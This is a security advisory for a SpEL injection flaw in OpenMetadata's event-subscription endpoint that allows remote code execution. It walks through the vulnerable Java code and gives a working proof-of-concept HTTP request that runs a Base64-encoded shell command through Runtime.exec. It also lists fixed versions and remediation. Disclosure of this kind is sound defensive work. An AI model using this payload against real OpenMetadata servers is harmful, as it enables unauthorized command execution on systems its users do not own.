High

OpenMetadata vulnerable to a SpEL Injection in `PUT /api/v1/events/subscriptions` (`GHSL-2023-251`)

  • Disclosed: 24.04.2024
  • Updated: 11.10.2026 13:20

SpEL Injection in PUT /api/v1/events/subscriptions (GHSL-2023-251)

Please note, only authenticated users have access to PUT / POST APIS for /api/v1/policies. Non authenticated users will not be able to access these APIs to exploit the vulnerability. A user must exist in OpenMetadata and have authenticated themselves to exploit this vulnerability.

Similarly to the GHSL-2023-250 issue, AlertUtil::validateExpression is also called from EventSubscriptionRepository.prepare(), which can lead to Remote Code Execution.

java
  @Override
  public void prepare(EventSubscription entity, boolean update) {
    validateFilterRules(entity);
  }

  private void validateFilterRules(EventSubscription entity) {
    // Resolve JSON blobs into Rule object and perform schema based validation
    if (entity.getFilteringRules() != null) {
      List<EventFilterRule> rules = entity.getFilteringRules().getRules();
      // Validate all the expressions in the rule
      for (EventFilterRule rule : rules) {
        AlertUtil.validateExpression(rule.getCondition(), Boolean.class);
      }
      rules.sort(Comparator.comparing(EventFilterRule::getName));
    }
  }

prepare() is called from EntityRepository.prepareInternal() which, in turn, gets called from the EntityResource.createOrUpdate():

java
public Response createOrUpdate(UriInfo uriInfo, SecurityContext securityContext, T entity) {
  repository.prepareInternal(entity, true);

  // If entity does not exist, this is a create operation, else update operation
  ResourceContext<T> resourceContext = getResourceContextByName(entity.getFullyQualifiedName());
  MetadataOperation operation = createOrUpdateOperation(resourceContext);
  OperationContext operationContext = new OperationContext(entityType, operation);
  if (operation == CREATE) {
    CreateResourceContext<T> createResourceContext = new CreateResourceContext<>(entityType, entity);
    authorizer.authorize(securityContext, operationContext, createResourceContext);
    entity = addHref(uriInfo, repository.create(uriInfo, entity));
    return new PutResponse<>(Response.Status.CREATED, entity, RestUtil.ENTITY_CREATED).toResponse();
  }
  authorizer.authorize(securityContext, operationContext, resourceContext);
  PutResponse<T> response = repository.createOrUpdate(uriInfo, entity);
  addHref(uriInfo, response.getEntity());
  return response.toResponse();
}

Note that, even though there is an authorization check (authorizer.authorize()), it gets called after prepareInternal() gets called and, therefore, after the SpEL expression has been evaluated.

In order to reach this method, an attacker can send a PUT request to /api/v1/events/subscriptions which gets handled by EventSubscriptionResource.createOrUpdateEventSubscription():

java
@PUT
@Operation(
    operationId = "createOrUpdateEventSubscription",
    summary = "Updated an existing or create a new Event Subscription",
    description = "Updated an existing or create a new Event Subscription",
    responses = {
      @ApiResponse(
          responseCode = "200",
          description = "create Event Subscription",
          content =
              @Content(
                  mediaType = "application/json",
                  schema = @Schema(implementation = CreateEventSubscription.class))),
      @ApiResponse(responseCode = "400", description = "Bad request")
    })
public Response createOrUpdateEventSubscription(
    @Context UriInfo uriInfo, @Context SecurityContext securityContext, @Valid CreateEventSubscription create) {
  // Only one Creation is allowed for Data Insight
  if (create.getAlertType() == CreateEventSubscription.AlertType.DATA_INSIGHT_REPORT) {
    try {
      repository.getByName(null, create.getName(), repository.getFields("id"));
    } catch (EntityNotFoundException ex) {
      if (ReportsHandler.getInstance() != null && ReportsHandler.getInstance().getReportMap().size() > 0) {
        throw new BadRequestException("Data Insight Report Alert already exists.");
      }
    }
  }
  EventSubscription eventSub = getEventSubscription(create, securityContext.getUserPrincipal().getName());
  Response response = createOrUpdate(uriInfo, securityContext, eventSub);
  repository.updateEventSubscription((EventSubscription) response.getEntity());
  return response;
}

This vulnerability was discovered with the help of CodeQL's Expression language injection (Spring) query.

Proof of concept

  • Prepare the payload
    • Encode the command to be run (eg: touch /tmp/pwned) using Base64 (eg: dG91Y2ggL3RtcC9wd25lZA==)
    • Create the SpEL expression to run the system command: T(java.lang.Runtime).getRuntime().exec(new java.lang.String(T(java.util.Base64).getDecoder().decode("dG91Y2ggL3RtcC9wd25lZA==")))
  • Send the payload using a valid JWT token:
http
PUT /api/v1/events/subscriptions HTTP/1.1
Host: localhost:8585
Authorization: Bearer <non-admin JWT>
accept: application/json
Connection: close
Content-Type: application/json
Content-Length: 353

{
"name":"ActivityFeedAlert","displayName":"Activity Feed Alerts","alertType":"ChangeEvent","filteringRules":{"rules":[
{"name":"pwn","effect":"exclude","condition":"T(java.lang.Runtime).getRuntime().exec(new java.lang.String(T(java.util.Base64).getDecoder().decode('dG91Y2ggL3RtcC9wd25lZA==')))"}]},"subscriptionType":"ActivityFeed","enabled":true
}
  • Verify that a file called /tmp/pwned was created in the OpenMetadata server

Impact

This issue may lead to Remote Code Execution.

Remediation

Use SimpleEvaluationContext to exclude references to Java types, constructors, and bean references.

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Java / Kotlin (Maven) org.open-metadata:openmetadata-service < 1.2.4 1.2.4

References

CVSS score 8.8/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Weakness (CWE)
CWE-94
Platform
Java / Kotlin (Maven)
Package
org.open-metadata:openmetadata-service
Disclosed
24.04.2024
Updated
11.10.2026 13:20

Sources and licenses

OSV / GitHub Advisory Database - GHSA-8p5r-6mvv-2435 - CC BY 4.0

Vulnerability history: org.open-metadata:openmetadata-service

All published vulnerabilities of this package (Java / Kotlin (Maven)), newest first. Shows whether this is a one-off slip or a package that needs watching.

Total entries
5
First → latest
04.2024 05.2026
Without a fix
1
Exploited in attacks
0

Severity breakdown

  • Critical 1
  • High 4

Disclosures per year

  1. 2024: 3
  2. 2025: 1
  3. 2026: 1
  1. High · 7.1 CVE-2024-55238 <= 1.4.1 no fix
  2. OpenMetadata vulnerable to a SpEL Injection in `PUT /api/v1/events/subscriptions` (`GHSL-2023-251`) this entry
    High · 8.8 CVE-2024-28847 < 1.2.4 1.2.4

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.